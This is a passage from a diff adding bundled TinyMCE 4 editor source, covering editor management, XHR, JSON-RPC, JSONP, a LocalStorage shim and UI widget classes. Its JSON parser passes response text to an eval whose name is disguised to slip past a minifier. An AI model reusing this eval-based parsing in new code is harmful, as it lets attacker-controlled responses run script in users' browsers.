+		 * @method execCommand
+		 * @param {String} c Command to perform for example Bold.
+		 * @param {Boolean} u Optional boolean state if a UI should be presented for the command or not.
+		 * @param {String} v Optional value parameter like for example an URL to a link.
+		 * @return {Boolean} true/false if the command was executed or not.
+		 */
+		execCommand: function(cmd, ui, value) {
+			var self = this, editor = self.get(value);
+
+			// Manager commands
+			switch (cmd) {
+				case "mceAddEditor":
+					if (!self.get(value)) {
+						new Editor(value, self.settings, self).render();
+					}
+
+					return true;
+
+				case "mceRemoveEditor":
+					if (editor) {
+						editor.remove();
+					}
+
+					return true;
+
+				case 'mceToggleEditor':
+					if (!editor) {
+						self.execCommand('mceAddEditor', 0, value);
+						return true;
+					}
+
+					if (editor.isHidden()) {
+						editor.show();
+					} else {
+						editor.hide();
+					}
+
+					return true;
+			}
+
+			// Run command on active editor
+			if (self.activeEditor) {
+				return self.activeEditor.execCommand(cmd, ui, value);
+			}
+
+			return false;
+		},
+
+		/**
+		 * Calls the save method on all editor instances in the collection. This can be useful when a form is to be submitted.
+		 *
+		 * @method triggerSave
+		 * @example
+		 * // Saves all contents
+		 * tinyMCE.triggerSave();
+		 */
+		triggerSave: function() {
+			each(this.editors, function(editor) {
+				editor.save();
+			});
+		},
+
+		/**
+		 * Adds a language pack, this gets called by the loaded language files like en.js.
+		 *
+		 * @method addI18n
+		 * @param {String} code Optional language code.
+		 * @param {Object} items Name/value object with translations.
+		 */
+		addI18n: function(code, items) {
+			I18n.add(code, items);
+		},
+
+		/**
+		 * Translates the specified string using the language pack items.
+		 *
+		 * @method translate
+		 * @param {String/Array/Object} text String to translate
+		 * @return {String} Translated string.
+		 */
+		translate: function(text) {
+			return I18n.translate(text);
+		},
+
+		/**
+		 * Sets the active editor instance and fires the deactivate/activate events.
+		 *
+		 * @method setActive
+		 * @param {tinymce.Editor} editor Editor instance to set as the active instance.
+		 */
+		setActive: function(editor) {
+			var activeEditor = this.activeEditor;
+
+			if (this.activeEditor != editor) {
+				if (activeEditor) {
+					activeEditor.fire('deactivate', {relatedTarget: editor});
+				}
+
+				editor.fire('activate', {relatedTarget: activeEditor});
+			}
+
+			this.activeEditor = editor;
+		}
+	};
+
+	extend(EditorManager, Observable);
+
+	EditorManager.setup();
+
+	// Export EditorManager as tinymce/tinymce in global namespace
+	window.tinymce = window.tinyMCE = EditorManager;
+
+	return EditorManager;
+});
+
+// Included from: js/tinymce/classes/LegacyInput.js
+
+/**
+ * LegacyInput.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+define("tinymce/LegacyInput", [
+	"tinymce/EditorManager",
+	"tinymce/util/Tools"
+], function(EditorManager, Tools) {
+	var each = Tools.each, explode = Tools.explode;
+
+	EditorManager.on('AddEditor', function(e) {
+		var editor = e.editor;
+
+		editor.on('preInit', function() {
+			var filters, fontSizes, dom, settings = editor.settings;
+
+			function replaceWithSpan(node, styles) {
+				each(styles, function(value, name) {
+					if (value) {
+						dom.setStyle(node, name, value);
+					}
+				});
+
+				dom.rename(node, 'span');
+			}
+
+			function convert(e) {
+				dom = editor.dom;
+
+				if (settings.convert_fonts_to_spans) {
+					each(dom.select('font,u,strike', e.node), function(node) {
+						filters[node.nodeName.toLowerCase()](dom, node);
+					});
+				}
+			}
+
+			if (settings.inline_styles) {
+				fontSizes = explode(settings.font_size_legacy_values);
+
+				filters = {
+					font: function(dom, node) {
+						replaceWithSpan(node, {
+							backgroundColor: node.style.backgroundColor,
+							color: node.color,
+							fontFamily: node.face,
+							fontSize: fontSizes[parseInt(node.size, 10) - 1]
+						});
+					},
+
+					u: function(dom, node) {
+						replaceWithSpan(node, {
+							textDecoration: 'underline'
+						});
+					},
+
+					strike: function(dom, node) {
+						replaceWithSpan(node, {
+							textDecoration: 'line-through'
+						});
+					}
+				};
+
+				editor.on('PreProcess SetContent', convert);
+			}
+		});
+	});
+});
+
+// Included from: js/tinymce/classes/util/XHR.js
+
+/**
+ * XHR.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class enables you to send XMLHTTPRequests cross browser.
+ * @class tinymce.util.XHR
+ * @mixes tinymce.util.Observable
+ * @static
+ * @example
+ * // Sends a low level Ajax request
+ * tinymce.util.XHR.send({
+ *    url: 'someurl',
+ *    success: function(text) {
+ *       console.debug(text);
+ *    }
+ * });
+ *
+ * // Add custom header to XHR request
+ * tinymce.util.XHR.on('beforeSend', function(e) {
+ *     e.xhr.setRequestHeader('X-Requested-With', 'Something');
+ * });
+ */
+define("tinymce/util/XHR", [
+	"tinymce/util/Observable",
+	"tinymce/util/Tools"
+], function(Observable, Tools) {
+	var XHR = {
+		/**
+		 * Sends a XMLHTTPRequest.
+		 * Consult the Wiki for details on what settings this method takes.
+		 *
+		 * @method send
+		 * @param {Object} settings Object will target URL, callbacks and other info needed to make the request.
+		 */
+		send: function(settings) {
+			var xhr, count = 0;
+
+			function ready() {
+				if (!settings.async || xhr.readyState == 4 || count++ > 10000) {
+					if (settings.success && count < 10000 && xhr.status == 200) {
+						settings.success.call(settings.success_scope, '' + xhr.responseText, xhr, settings);
+					} else if (settings.error) {
+						settings.error.call(settings.error_scope, count > 10000 ? 'TIMED_OUT' : 'GENERAL', xhr, settings);
+					}
+
+					xhr = null;
+				} else {
+					setTimeout(ready, 10);
+				}
+			}
+
+			// Default settings
+			settings.scope = settings.scope || this;
+			settings.success_scope = settings.success_scope || settings.scope;
+			settings.error_scope = settings.error_scope || settings.scope;
+			settings.async = settings.async === false ? false : true;
+			settings.data = settings.data || '';
+
+			xhr = new XMLHttpRequest();
+
+			if (xhr) {
+				if (xhr.overrideMimeType) {
+					xhr.overrideMimeType(settings.content_type);
+				}
+
+				xhr.open(settings.type || (settings.data ? 'POST' : 'GET'), settings.url, settings.async);
+
+				if (settings.crossDomain) {
+					xhr.withCredentials = true;
+				}
+
+				if (settings.content_type) {
+					xhr.setRequestHeader('Content-Type', settings.content_type);
+				}
+
+				xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
+
+				xhr = XHR.fire('beforeSend', {xhr: xhr, settings: settings}).xhr;
+				xhr.send(settings.data);
+
+				// Syncronous request
+				if (!settings.async) {
+					return ready();
+				}
+
+				// Wait for response, onReadyStateChange can not be used since it leaks memory in IE
+				setTimeout(ready, 10);
+			}
+		}
+	};
+
+	Tools.extend(XHR, Observable);
+
+	return XHR;
+});
+
+// Included from: js/tinymce/classes/util/JSON.js
+
+/**
+ * JSON.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * JSON parser and serializer class.
+ *
+ * @class tinymce.util.JSON
+ * @static
+ * @example
+ * // JSON parse a string into an object
+ * var obj = tinymce.util.JSON.parse(somestring);
+ *
+ * // JSON serialize a object into an string
+ * var str = tinymce.util.JSON.serialize(obj);
+ */
+define("tinymce/util/JSON", [], function() {
+	function serialize(o, quote) {
+		var i, v, t, name;
+
+		quote = quote || '"';
+
+		if (o === null) {
+			return 'null';
+		}
+
+		t = typeof o;
+
+		if (t == 'string') {
+			v = '\bb\tt\nn\ff\rr\""\'\'\\\\';
+
+			return quote + o.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g, function(a, b) {
+				// Make sure single quotes never get encoded inside double quotes for JSON compatibility
+				if (quote === '"' && a === "'") {
+					return a;
+				}
+
+				i = v.indexOf(b);
+
+				if (i + 1) {
+					return '\\' + v.charAt(i + 1);
+				}
+
+				a = b.charCodeAt().toString(16);
+
+				return '\\u' + '0000'.substring(a.length) + a;
+			}) + quote;
+		}
+
+		if (t == 'object') {
+			if (o.hasOwnProperty && Object.prototype.toString.call(o) === '[object Array]') {
+				for (i = 0, v = '['; i < o.length; i++) {
+					v += (i > 0 ? ',' : '') + serialize(o[i], quote);
+				}
+
+				return v + ']';
+			}
+
+			v = '{';
+
+			for (name in o) {
+				if (o.hasOwnProperty(name)) {
+					v += typeof o[name] != 'function' ? (v.length > 1 ? ',' + quote : quote) + name +
+						quote + ':' + serialize(o[name], quote) : '';
+				}
+			}
+
+			return v + '}';
+		}
+
+		return '' + o;
+	}
+
+	return {
+		/**
+		 * Serializes the specified object as a JSON string.
+		 *
+		 * @method serialize
+		 * @param {Object} obj Object to serialize as a JSON string.
+		 * @param {String} quote Optional quote string defaults to ".
+		 * @return {string} JSON string serialized from input.
+		 */
+		serialize: serialize,
+
+		/**
+		 * Unserializes/parses the specified JSON string into a object.
+		 *
+		 * @method parse
+		 * @param {string} s JSON String to parse into a JavaScript object.
+		 * @return {Object} Object from input JSON string or undefined if it failed.
+		 */
+		parse: function(text) {
+			try {
+				// Trick uglify JS
+				return window[String.fromCharCode(101) + 'val']('(' + text + ')');
+			} catch (ex) {
+				// Ignore
+			}
+		}
+
+		/**#@-*/
+	};
+});
+
+// Included from: js/tinymce/classes/util/JSONRequest.js
+
+/**
+ * JSONRequest.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class enables you to use JSON-RPC to call backend methods.
+ *
+ * @class tinymce.util.JSONRequest
+ * @example
+ * var json = new tinymce.util.JSONRequest({
+ *     url: 'somebackend.php'
+ * });
+ *
+ * // Send RPC call 1
+ * json.send({
+ *     method: 'someMethod1',
+ *     params: ['a', 'b'],
+ *     success: function(result) {
+ *         console.dir(result);
+ *     }
+ * });
+ *
+ * // Send RPC call 2
+ * json.send({
+ *     method: 'someMethod2',
+ *     params: ['a', 'b'],
+ *     success: function(result) {
+ *         console.dir(result);
+ *     }
+ * });
+ */
+define("tinymce/util/JSONRequest", [
+	"tinymce/util/JSON",
+	"tinymce/util/XHR",
+	"tinymce/util/Tools"
+], function(JSON, XHR, Tools) {
+	var extend = Tools.extend;
+
+	function JSONRequest(settings) {
+		this.settings = extend({}, settings);
+		this.count = 0;
+	}
+
+	/**
+	 * Simple helper function to send a JSON-RPC request without the need to initialize an object.
+	 * Consult the Wiki API documentation for more details on what you can pass to this function.
+	 *
+	 * @method sendRPC
+	 * @static
+	 * @param {Object} o Call object where there are three field id, method and params this object should also contain callbacks etc.
+	 */
+	JSONRequest.sendRPC = function(o) {
+		return new JSONRequest().send(o);
+	};
+
+	JSONRequest.prototype = {
+		/**
+		 * Sends a JSON-RPC call. Consult the Wiki API documentation for more details on what you can pass to this function.
+		 *
+		 * @method send
+		 * @param {Object} args Call object where there are three field id, method and params this object should also contain callbacks etc.
+		 */
+		send: function(args) {
+			var ecb = args.error, scb = args.success;
+
+			args = extend(this.settings, args);
+
+			args.success = function(c, x) {
+				c = JSON.parse(c);
+
+				if (typeof(c) == 'undefined') {
+					c = {
+						error : 'JSON Parse error.'
+					};
+				}
+
+				if (c.error) {
+					ecb.call(args.error_scope || args.scope, c.error, x);
+				} else {
+					scb.call(args.success_scope || args.scope, c.result);
+				}
+			};
+
+			args.error = function(ty, x) {
+				if (ecb) {
+					ecb.call(args.error_scope || args.scope, ty, x);
+				}
+			};
+
+			args.data = JSON.serialize({
+				id: args.id || 'c' + (this.count++),
+				method: args.method,
+				params: args.params
+			});
+
+			// JSON content type for Ruby on rails. Bug: #1883287
+			args.content_type = 'application/json';
+
+			XHR.send(args);
+		}
+	};
+
+	return JSONRequest;
+});
+
+// Included from: js/tinymce/classes/util/JSONP.js
+
+/**
+ * JSONP.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+define("tinymce/util/JSONP", [
+	"tinymce/dom/DOMUtils"
+], function(DOMUtils) {
+	return {
+		callbacks: {},
+		count: 0,
+
+		send: function(settings) {
+			var self = this, dom = DOMUtils.DOM, count = settings.count !== undefined ? settings.count : self.count;
+			var id = 'tinymce_jsonp_' + count;
+
+			self.callbacks[count] = function(json) {
+				dom.remove(id);
+				delete self.callbacks[count];
+
+				settings.callback(json);
+			};
+
+			dom.add(dom.doc.body, 'script', {
+				id: id,
+				src: settings.url,
+				type: 'text/javascript'
+			});
+
+			self.count++;
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/util/LocalStorage.js
+
+/**
+ * LocalStorage.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class will simulate LocalStorage on IE 7 and return the native version on modern browsers.
+ * Storage is done using userData on IE 7 and a special serialization format. The format is designed
+ * to be as small as possible by making sure that the keys and values doesn't need to be encoded. This
+ * makes it possible to store for example HTML data.
+ *
+ * Storage format for userData:
+ * <base 32 key length>,<key string>,<base 32 value length>,<value>,...
+ *
+ * For example this data key1=value1,key2=value2 would be:
+ * 4,key1,6,value1,4,key2,6,value2
+ *
+ * @class tinymce.util.LocalStorage
+ * @static
+ * @version 4.0
+ * @example
+ * tinymce.util.LocalStorage.setItem('key', 'value');
+ * var value = tinymce.util.LocalStorage.getItem('key');
+ */
+define("tinymce/util/LocalStorage", [], function() {
+	var LocalStorage, storageElm, items, keys, userDataKey, hasOldIEDataSupport;
+
+	// Check for native support
+	try {
+		if (window.localStorage) {
+			return localStorage;
+		}
+	} catch (ex) {
+		// Ignore
+	}
+
+	userDataKey = "tinymce";
+	storageElm = document.documentElement;
+	hasOldIEDataSupport = !!storageElm.addBehavior;
+
+	if (hasOldIEDataSupport) {
+		storageElm.addBehavior('#default#userData');
+	}
+
+	/**
+	 * Gets the keys names and updates LocalStorage.length property. Since IE7 doesn't have any getters/setters.
+	 */
+	function updateKeys() {
+		keys = [];
+
+		for (var key in items) {
+			keys.push(key);
+		}
+
+		LocalStorage.length = keys.length;
+	}
+
+	/**
+	 * Loads the userData string and parses it into the items structure.
+	 */
+	function load() {
+		var key, data, value, pos = 0;
+
+		items = {};
+
+		// localStorage can be disabled on WebKit/Gecko so make a dummy storage
+		if (!hasOldIEDataSupport) {
+			return;
+		}
+
+		function next(end) {
+			var value, nextPos;
+
+			nextPos = end !== undefined ? pos + end : data.indexOf(',', pos);
+			if (nextPos === -1 || nextPos > data.length) {
+				return null;
+			}
+
+			value = data.substring(pos, nextPos);
+			pos = nextPos + 1;
+
+			return value;
+		}
+
+		storageElm.load(userDataKey);
+		data = storageElm.getAttribute(userDataKey) || '';
+
+		do {
+			var offset = next();
+			if (offset === null) {
+				break;
+			}
+
+			key = next(parseInt(offset, 32) || 0);
+			if (key !== null) {
+				offset = next();
+				if (offset === null) {
+					break;
+				}
+
+				value = next(parseInt(offset, 32) || 0);
+
+				if (key) {
+					items[key] = value;
+				}
+			}
+		} while (key !== null);
+
+		updateKeys();
+	}
+
+	/**
+	 * Saves the items structure into a the userData format.
+	 */
+	function save() {
+		var value, data = '';
+
+		// localStorage can be disabled on WebKit/Gecko so make a dummy storage
+		if (!hasOldIEDataSupport) {
+			return;
+		}
+
+		for (var key in items) {
+			value = items[key];
+			data += (data ? ',' : '') + key.length.toString(32) + ',' + key + ',' + value.length.toString(32) + ',' + value;
+		}
+
+		storageElm.setAttribute(userDataKey, data);
+
+		try {
+			storageElm.save(userDataKey);
+		} catch (ex) {
+			// Ignore disk full
+		}
+
+		updateKeys();
+	}
+
+	LocalStorage = {
+		/**
+		 * Length of the number of items in storage.
+		 *
+		 * @property length
+		 * @type Number
+		 * @return {Number} Number of items in storage.
+		 */
+		//length:0,
+
+		/**
+		 * Returns the key name by index.
+		 *
+		 * @method key
+		 * @param {Number} index Index of key to return.
+		 * @return {String} Key value or null if it wasn't found.
+		 */
+		key: function(index) {
+			return keys[index];
+		},
+
+		/**
+		 * Returns the value if the specified key or null if it wasn't found.
+		 *
+		 * @method getItem
+		 * @param {String} key Key of item to retrive.
+		 * @return {String} Value of the specified item or null if it wasn't found.
+		 */
+		getItem: function(key) {
+			return key in items ? items[key] : null;
+		},
+
+		/**
+		 * Sets the value of the specified item by it's key.
+		 *
+		 * @method setItem
+		 * @param {String} key Key of the item to set.
+		 * @param {String} value Value of the item to set.
+		 */
+		setItem: function(key, value) {
+			items[key] = "" + value;
+			save();
+		},
+
+		/**
+		 * Removes the specified item by key.
+		 *
+		 * @method removeItem
+		 * @param {String} key Key of item to remove.
+		 */
+		removeItem: function(key) {
+			delete items[key];
+			save();
+		},
+
+		/**
+		 * Removes all items.
+		 *
+		 * @method clear
+		 */
+		clear: function() {
+			items = {};
+			save();
+		}
+	};
+
+	load();
+
+	return LocalStorage;
+});
+
+// Included from: js/tinymce/classes/Compat.js
+
+/**
+ * Compat.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * TinyMCE core class.
+ *
+ * @static
+ * @class tinymce
+ * @borrow-members tinymce.EditorManager
+ * @borrow-members tinymce.util.Tools
+ */
+define("tinymce/Compat", [
+	"tinymce/dom/DOMUtils",
+	"tinymce/dom/EventUtils",
+	"tinymce/dom/ScriptLoader",
+	"tinymce/AddOnManager",
+	"tinymce/util/Tools",
+	"tinymce/Env"
+], function(DOMUtils, EventUtils, ScriptLoader, AddOnManager, Tools, Env) {
+	var tinymce = window.tinymce;
+
+	/**
+	 * @property {tinymce.dom.DOMUtils} DOM Global DOM instance.
+	 * @property {tinymce.dom.ScriptLoader} ScriptLoader Global ScriptLoader instance.
+	 * @property {tinymce.AddOnManager} PluginManager Global PluginManager instance.
+	 * @property {tinymce.AddOnManager} ThemeManager Global ThemeManager instance.
+	 */
+	tinymce.DOM = DOMUtils.DOM;
+	tinymce.ScriptLoader = ScriptLoader.ScriptLoader;
+	tinymce.PluginManager = AddOnManager.PluginManager;
+	tinymce.ThemeManager = AddOnManager.ThemeManager;
+
+	tinymce.dom = tinymce.dom || {};
+	tinymce.dom.Event = EventUtils.Event;
+
+	Tools.each(Tools, function(func, key) {
+		tinymce[key] = func;
+	});
+
+	Tools.each('isOpera isWebKit isIE isGecko isMac'.split(' '), function(name) {
+		tinymce[name] = Env[name.substr(2).toLowerCase()];
+	});
+
+	return {};
+});
+
+// Describe the different namespaces
+
+/**
+ * Root level namespace this contains classes directly releated to the TinyMCE editor.
+ *
+ * @namespace tinymce
+ */
+
+/**
+ * Contains classes for handling the browsers DOM.
+ *
+ * @namespace tinymce.dom
+ */
+
+/**
+ * Contains html parser and serializer logic.
+ *
+ * @namespace tinymce.html
+ */
+
+/**
+ * Contains the different UI types such as buttons, listboxes etc.
+ *
+ * @namespace tinymce.ui
+ */
+
+/**
+ * Contains various utility classes such as json parser, cookies etc.
+ *
+ * @namespace tinymce.util
+ */
+
+// Included from: js/tinymce/classes/ui/Layout.js
+
+/**
+ * Layout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Base layout manager class.
+ *
+ * @class tinymce.ui.Layout
+ */
+define("tinymce/ui/Layout", [
+	"tinymce/util/Class",
+	"tinymce/util/Tools"
+], function(Class, Tools) {
+	"use strict";
+
+	return Class.extend({
+		Defaults: {
+			firstControlClass: 'first',
+			lastControlClass: 'last'
+		},
+
+		/**
+		 * Constructs a layout instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			this.settings = Tools.extend({}, this.Defaults, settings);
+		},
+
+		/**
+		 * This method gets invoked before the layout renders the controls.
+		 *
+		 * @method preRender
+		 * @param {tinymce.ui.Container} container Container instance to preRender.
+		 */
+		preRender: function(container) {
+			container.addClass(this.settings.containerClass, 'body');
+		},
+
+		/**
+		 * Applies layout classes to the container.
+		 *
+		 * @private
+		 */
+		applyClasses: function(container) {
+			var self = this, settings = self.settings, items, firstClass, lastClass;
+
+			items = container.items().filter(':visible');
+			firstClass = settings.firstControlClass;
+			lastClass = settings.lastControlClass;
+
+			items.each(function(item) {
+				item.removeClass(firstClass).removeClass(lastClass);
+
+				if (settings.controlClass) {
+					item.addClass(settings.controlClass);
+				}
+			});
+
+			items.eq(0).addClass(firstClass);
+			items.eq(-1).addClass(lastClass);
+		},
+
+		/**
+		 * Renders the specified container and any layout specific HTML.
+		 *
+		 * @method renderHtml
+		 * @param {tinymce.ui.Container} container Container to render HTML for.
+		 */
+		renderHtml: function(container) {
+			var self = this, settings = self.settings, items, html = '';
+
+			items = container.items();
+			items.eq(0).addClass(settings.firstControlClass);
+			items.eq(-1).addClass(settings.lastControlClass);
+
+			items.each(function(item) {
+				if (settings.controlClass) {
+					item.addClass(settings.controlClass);
+				}
+
+				html += item.renderHtml();
+			});
+
+			return html;
+		},
+
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function() {
+		},
+
+		/**
+		 * This method gets invoked after the layout renders the controls.
+		 *
+		 * @method postRender
+		 * @param {tinymce.ui.Container} container Container instance to postRender.
+		 */
+		postRender: function() {
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/AbsoluteLayout.js
+
+/**
+ * AbsoluteLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * LayoutManager for absolute positioning. This layout manager is more of
+ * a base class for other layouts but can be created and used directly.
+ *
+ * @-x-less AbsoluteLayout.less
+ * @class tinymce.ui.AbsoluteLayout
+ * @extends tinymce.ui.Layout
+ */
+define("tinymce/ui/AbsoluteLayout", [
+	"tinymce/ui/Layout"
+], function(Layout) {
+	"use strict";
+
+	return Layout.extend({
+		Defaults: {
+			containerClass: 'abs-layout',
+			controlClass: 'abs-layout-item'
+		},
+
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function(container) {
+			container.items().filter(':visible').each(function(ctrl) {
+				var settings = ctrl.settings;
+
+				ctrl.layoutRect({
+					x: settings.x,
+					y: settings.y,
+					w: settings.w,
+					h: settings.h
+				});
+
+				if (ctrl.recalc) {
+					ctrl.recalc();
+				}
+			});
+		},
+
+		/**
+		 * Renders the specified container and any layout specific HTML.
+		 *
+		 * @method renderHtml
+		 * @param {tinymce.ui.Container} container Container to render HTML for.
+		 */
+		renderHtml: function(container) {
+			return '<div id="' + container._id + '-absend" class="' + container.classPrefix + 'abs-end"></div>' + this._super(container);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Tooltip.js
+
+/**
+ * Tooltip.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a tooltip instance.
+ *
+ * @-x-less ToolTip.less
+ * @class tinymce.ui.ToolTip
+ * @extends tinymce.ui.Control
+ * @mixes tinymce.ui.Movable
+ */
+define("tinymce/ui/Tooltip", [
+	"tinymce/ui/Control",
+	"tinymce/ui/Movable"
+], function(Control, Movable) {
+	return Control.extend({
+		Mixins: [Movable],
+
+		Defaults: {
+			classes: 'widget tooltip tooltip-n'
+		},
+
+		/**
+		 * Sets/gets the current label text.
+		 *
+		 * @method text
+		 * @param {String} [text] New label text.
+		 * @return {String|tinymce.ui.Tooltip} Current text or current label instance.
+		 */
+		text: function(value) {
+			var self = this;
+
+			if (typeof(value) != "undefined") {
+				self._value = value;
+
+				if (self._rendered) {
+					self.getEl().lastChild.innerHTML = self.encode(value);
+				}
+
+				return self;
+			}
+
+			return self._value;
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, prefix = self.classPrefix;
+
+			return (
+				'<div id="' + self._id + '" class="' + self.classes() + '" role="presentation">' +
+					'<div class="' + prefix + 'tooltip-arrow"></div>' +
+					'<div class="' + prefix + 'tooltip-inner">' + self.encode(self._text) + '</div>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this, style, rect;
+
+			style = self.getEl().style;
+			rect = self._layoutRect;
+
+			style.left = rect.x + 'px';
+			style.top = rect.y + 'px';
+			style.zIndex = 0xFFFF + 0xFFFF;
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Widget.js
+
+/**
+ * Widget.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Widget base class a widget is a control that has a tooltip and some basic states.
+ *
+ * @class tinymce.ui.Widget
+ * @extends tinymce.ui.Control
+ */
+define("tinymce/ui/Widget", [
+	"tinymce/ui/Control",
+	"tinymce/ui/Tooltip"
+], function(Control, Tooltip) {
+	"use strict";
+
+	var tooltip;
+
+	var Widget = Control.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} tooltip Tooltip text to display when hovering.
+		 * @setting {Boolean} autofocus True if the control should be focused when rendered.
+		 * @setting {String} text Text to display inside widget.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			settings = self.settings;
+			self.canFocus = true;
+
+			if (settings.tooltip && Widget.tooltips !== false) {
+				self.on('mouseenter', function(e) {
+					var tooltip = self.tooltip().moveTo(-0xFFFF);
+
+					if (e.control == self) {
+						var rel = tooltip.text(settings.tooltip).show().testMoveRel(self.getEl(), ['bc-tc', 'bc-tl', 'bc-tr']);
+
+						tooltip.toggleClass('tooltip-n', rel == 'bc-tc');
+						tooltip.toggleClass('tooltip-nw', rel == 'bc-tl');
+						tooltip.toggleClass('tooltip-ne', rel == 'bc-tr');
+
+						tooltip.moveRel(self.getEl(), rel);
+					} else {
+						tooltip.hide();
+					}
+				});
+
+				self.on('mouseleave mousedown click', function() {
+					self.tooltip().hide();
+				});
+			}
+
+			self.aria('label', settings.ariaLabel || settings.tooltip);
+		},
+
+		/**
+		 * Returns the current tooltip instance.
+		 *
+		 * @method tooltip
+		 * @return {tinymce.ui.Tooltip} Tooltip instance.
+		 */
+		tooltip: function() {
+			if (!tooltip) {
+				tooltip = new Tooltip({type: 'tooltip'});
+				tooltip.renderTo();
+			}
+
+			return tooltip;
+		},
+
+		/**
+		 * Sets/gets the active state of the widget.
+		 *
+		 * @method active
+		 * @param {Boolean} [state] State if the control is active.
+		 * @return {Boolean|tinymce.ui.Widget} True/false or current widget instance.
+		 */
+		active: function(state) {
+			var self = this, undef;
+
+			if (state !== undef) {
+				self.aria('pressed', state);
+				self.toggleClass('active', state);
+			}
+
+			return self._super(state);
+		},
+
+		/**
+		 * Sets/gets the disabled state of the widget.
+		 *
+		 * @method disabled
+		 * @param {Boolean} [state] State if the control is disabled.
+		 * @return {Boolean|tinymce.ui.Widget} True/false or current widget instance.
+		 */
+		disabled: function(state) {
+			var self = this, undef;
+
+			if (state !== undef) {
+				self.aria('disabled', state);
+				self.toggleClass('disabled', state);
+			}
+
+			return self._super(state);
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this, settings = self.settings;
+
+			self._rendered = true;
+
+			self._super();
+
+			if (!self.parent() && (settings.width || settings.height)) {
+				self.initLayoutRect();
+				self.repaint();
+			}
+
+			if (settings.autofocus) {
+				self.focus();
+			}
+		},
+
+		/**
+		 * Removes the current control from DOM and from UI collections.
+		 *
+		 * @method remove
+		 * @return {tinymce.ui.Control} Current control instance.
+		 */
+		remove: function() {
+			this._super();
+
+			if (tooltip) {
+				tooltip.remove();
+				tooltip = null;
+			}
+		}
+	});
+
+	return Widget;
+});
+
+// Included from: js/tinymce/classes/ui/Button.js
+
+/**
+ * Button.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to create buttons. You can create them directly or through the Factory.
+ *
+ * @example
+ * // Create and render a button to the body element
+ * tinymce.ui.Factory.create({
+ *     type: 'button',
+ *     text: 'My button'
+ * }).renderTo(document.body);
+ *
+ * @-x-less Button.less
+ * @class tinymce.ui.Button
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Button", [
+	"tinymce/ui/Widget"
+], function(Widget) {
+	"use strict";
+
+	return Widget.extend({
+		Defaults: {
+			classes: "widget btn",
+			role: "button"
+		},
+
+		/**
+		 * Constructs a new button instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {String} size Size of the button small|medium|large.
+		 * @setting {String} image Image to use for icon.
+		 * @setting {String} icon Icon to use for button.
+		 */
+		init: function(settings) {
+			var self = this, size;
+
+			self.on('click mousedown', function(e) {
+				e.preventDefault();
+			});
+
+			self._super(settings);
+			size = settings.size;
+
+			if (settings.subtype) {
+				self.addClass(settings.subtype);
+			}
+
+			if (size) {
+				self.addClass('btn-' + size);
+			}
+		},
+
+		/**
+		 * Sets/gets the current button icon.
+		 *
+		 * @method icon
+		 * @param {String} [icon] New icon identifier.
